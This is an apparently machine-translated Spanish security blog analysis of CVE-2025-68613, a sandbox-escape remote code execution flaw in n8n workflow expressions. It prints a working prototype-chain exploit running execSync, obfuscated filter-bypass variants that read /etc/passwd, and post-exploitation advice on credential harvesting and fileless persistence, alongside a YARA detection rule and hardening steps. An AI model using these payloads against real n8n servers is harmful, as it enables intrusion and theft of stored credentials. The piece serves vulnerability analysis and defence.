Cabecera Penligente

La autopsia definitiva de CVE-2025-68613: cuando el motor de flujo de trabajo n8n se convierte en un caballo de Troya

En el panorama de seguridad que se avecina para 2025, la revelación de CVE-2025-68613 (CVSS 10.0) golpeó a la industria con la fuerza de un arma cinética. Como la herramienta de automatización de flujos de trabajo de código abierto más popular del mundo, n8n es la base de la lógica de negocio de innumerables empresas. Sin embargo, esta vulnerabilidad, que permite a atacantes no autenticados (o con pocos privilegios) ejecutar código arbitrario, ha puesto al descubierto el talón de Aquiles arquitectónico de las plataformas modernas de "bajo código/no código".

Para los ingenieros de seguridad e investigadores del Equipo Rojo, CVE-2025-68613 es mucho más que un "Fallo de Validación". Es un caso de estudio de libro de texto en la explotación combinada de la Tiempo de ejecución dinámico de Node.js, Fallo del modelo de capacidad de los objetosy Prototipo Contaminación.

Este artículo abandona los informes superficiales sobre vulnerabilidades para sumergirse en las entrañas del motor V8, deconstruir cada byte del escape del sandbox y proporcionar un manual completo de detección y defensa para los Blue Teams empresariales.

CVE-2025-68613

Deconstrucción de la superficie de ataque

La principal propuesta de valor de n8n es la "conectividad". Une bases de datos, servicios SaaS y API internas a través de miles de nodos de integración. Para permitir el procesamiento dinámico de datos, n8n permite a los usuarios incrustar expresiones JavaScript dentro de los nodos, normalmente envueltas en {{ }} sintaxis.

Antes del estallido de CVE-2025-68613, n8n confiaba en el Node.js nativo vm para aislar este código suministrado por el usuario.

Por qué Node.js vm?

El Node.js vm permite compilar y ejecutar código en el contexto de una máquina virtual V8. Proporciona un objeto global aislado (Contextified Sandbox).

  • Idealmente: El código no puede acceder a variables fuera de la caja de arena.
  • La realidad: En vm es ampliamente reconocido en la comunidad de seguridad como "Roto por diseño.”

Análisis de la superficie de ataque:

  1. Puntos de entrada: Cualquier nodo que acepte la entrada de una expresión (por ejemplo, Establecer, Función, Solicitud HTTP nodos).
  2. Flujo de ejecución: Entrada de usuario -> Análisis de cadenas -> vm.runEnNuevoContexto() -> Ejecución.
  3. El defecto: Mientras cualquier objeto dentro de la caja de arena haga referencia a un objeto externo (por ejemplo, pasando variables de entorno del host a través de la función este ), un atacante puede aprovechar la capacidad de JavaScript de Prototipo de escalada en cadena mecanismo para escapar de la caja de arena.

Profundización técnica: de la cadena de prototipos al RCE

Para entender la lógica del exploit de CVE-2025-68613, hay que comprender la constructor en JavaScript.

Casi todos los objetos de JavaScript tienen un constructor que apunta a la función que lo creó.

  • ({}).constructor === Objeto
  • Objeto.constructor === Función

El núcleo de la lógica de escape: this.constructor.constructor

En el entorno restringido de n8n, un atacante no puede llamar directamente a require('proceso_niño'). Sin embargo, el atacante posee el contexto de ejecución actual: este.

  1. Lúpulo 1: este es el objeto de contexto dentro de la caja de arena.
  2. Lúpulo 2: this.constructor es el Objeto dentro de la caja de arena.
  3. Salto 3 (Crítico): this.constructor.constructor resuelve el Anfitrión Función constructor.

¿Por qué esto viola el sandbox? Porque el motor V8, cuando maneja interacciones de objetos entre contextos, resuelve la cadena del constructor a la definición externa si el objeto raíz se originó desde fuera.

Una vez que el atacante obtiene los datos del Host Función pueden generar dinámicamente una función anónima que se ejecute en el directorio Contexto de acogida. Esta función anónima no está sujeta a las restricciones de la caja de arena y puede acceder a la función global proceso objeto.

La primitiva de explotación completa

La carga útil construida por el atacante no es una simple cadena, sino una pieza precisa de código JavaScript diseñada para reconstruir el sistema de carga de módulos de Node.js.

JavaScript

`// Fase 1: Adquirir el Constructor de Funciones del Entorno Anfitrión const ForeignFunction = this.constructor.constructor;

// Fase 2: Crear dinámicamente una función que devuelva el objeto 'process' // Este código se ejecuta en el Contexto Host, saltándose el sandbox const getProcess = ForeignFunction('return process');

// Fase 3: Ejecutar la función para obtener el handle del proceso const proc = getProcess();

// Fase 4: Acceder al mainModule para obtener el manejador 'require' const require = proc.mainModule.require;

// Fase 5: Cargar 'child_process' y ejecutar los comandos del sistema result = require('child_process').execSync('id').toString();`

En un n8n {{ }} expresión, esta lógica se comprime en una inyección letal de una sola línea.

Combate y ofuscación: eludir los filtros estáticos

En los primeros intentos de defensa contra CVE-2025-68613, algunos parches temporales intentaron filtrar palabras clave como process, constructor o require utilizando regex.

Sin embargo, para un lenguaje altamente dinámico como JavaScript, el filtrado estático es inútil.

Variante de ofuscación A: concatenación y codificación de cadenas

Los atacantes aprovechan la flexibilidad de JavaScript para dividir o codificar palabras clave, eludiendo la detección de firmas.

JavaScript

{{ // Bypassing "constructor" detection this['con'+'structor']['con'+'structor']( // Bypassing "return process" detection 'return p'+'rocess' )() .mainModule.require('ch'+'ild_pr'+'ocess') .execSync('cat /etc/passwd') }}

Ofuscación Variante B: Reflejo y proxy

Los atacantes avanzados utilizan Reflect.get para acceder dinámicamente a las propiedades, lo que dificulta el análisis del árbol de sintaxis abstracta (AST) para rastrear la cadena de llamadas.

JavaScript

{{ // Usar Reflect para encontrar la clave del constructor dinámicamente const c = Reflect.get(this, Reflect.ownKeys(this).find(k => k.toString() === 'constructor')); // Proceder con la ejecución... }}

Esto demuestra que la simple correspondencia regex no puede solucionar CVE-2025-68613; la solución debe dirigirse a la subyacente Restricciones de la capacidad de los objetos.

Post-Explotación: por qué n8n es la cabeza de playa perfecta

Comprometer el servidor de n8n (conseguir un Shell) es sólo el principio. En una cadena de ataque APT (Advanced Persistent Threat), n8n tiene un valor estratégico único.

Recogida de credenciales

La base de datos n8n (normalmente SQLite o PostgreSQL) almacena las credenciales de todos los servicios conectados. Mientras está cifrada, un atacante con RCE puede leer la clave de cifrado (normalmente en variables de entorno o archivos de configuración), descifrando así:

  • Claves de usuario de AWS IAM
  • Claves API de Stripe / PayPal
  • Cadenas de conexión a bases de datos corporativas
  • Slack / Discord Bot Tokens

Movimiento lateral

Los servidores n8n suelen desplegarse en lo más profundo de la intranet y se les permite acceder a varias API internas. Los atacantes pueden utilizar n8n como un Proxy SOCKSo modificar directamente los nodos HTTP Request existentes para enviar peticiones de sondeo a otros servicios internos (como Jenkins, GitLab), escaneando eficazmente los activos internos.

Persistencia

Los binarios de malware tradicionales son analizados por las soluciones EDR. Pero si un atacante crea un flujo de trabajo "Cron" en n8n que se ejecuta cada 5 minutos y ejecuta JavaScript malicioso, esta puerta trasera es Sin archivos. Se mezcla completamente con la lógica empresarial normal, por lo que es extremadamente difícil de detectar.

Manual del Equipo Azul-Detección y Defensa

Para los equipos de seguridad empresarial (Blue Teams), enfrentarse a CVE-2025-68613 requiere algo más que aplicar el parche oficial.

Detección de firmas de tráfico (SIEM/IDS)

Supervisar los cuerpos de petición HTTP que contienen {{ que también incluyen palabras clave como constructor, proceso, execo desovar.

Ejemplo de regla YARA:

rule DETECT_N8N_RCE_ATTEMPT { meta: description = "Detecta intentos de inyección de expresión dirigidos a n8n (CVE-2025-68613)" severity = "Critical" strings: $expr_start = "{{" $keyword1 = "constructor" $keyword2 = "process.mainModule" $keyword3 = "child_process" $keyword4 = "String.fromCharCode" condition: $expr_start and (2 of ($keyword*)) }

Auditoría de registros

Auditoría de los registros de ejecución de n8n para detectar anomalías ERROR mensajes, concretamente registros que contengan Acceso denegado a variable global o ReferenceError: el proceso no está definido. Suelen indicar que un atacante está sondeando los límites del sandbox.

Endurecimiento arquitectónico

  • Aislamiento Docker: Ejecutar contenedores n8n con -cap-drop=ALL para eliminar todas las Capacidades Linux innecesarias.
  • Control del tráfico de salida: Configure las Políticas de Red para prohibir que el contenedor n8n inicie conexiones a IPs públicas que no estén en la lista blanca, bloqueando que las reverse shells se conecten a servidores C2.

Conclusiones: Un punto de inflexión para la seguridad de código bajo

CVE-2025-68613 representa un punto de inflexión en la historia de la seguridad de las plataformas Low-Code/No-Code. Nos recuerda que Flexibilidad y seguridad suelen ser un juego de suma cero.

Cuando concedemos todo el poder de un lenguaje de programación (como las expresiones de JavaScript) a los usuarios normales, estamos invitando a los atacantes a entrar en nuestro entorno de ejecución. Las defensas de seguridad del futuro ya no pueden basarse en frágiles "sandboxes" a nivel de aplicación, sino que deben orientarse hacia Seguridad desde el diseño como el uso de WebAssembly (Wasm) para un verdadero aislamiento de la ejecución del código de usuario a prueba de memoria.

Referencias fiables

Comparte el post:
Entradas relacionadas
es_ESSpanish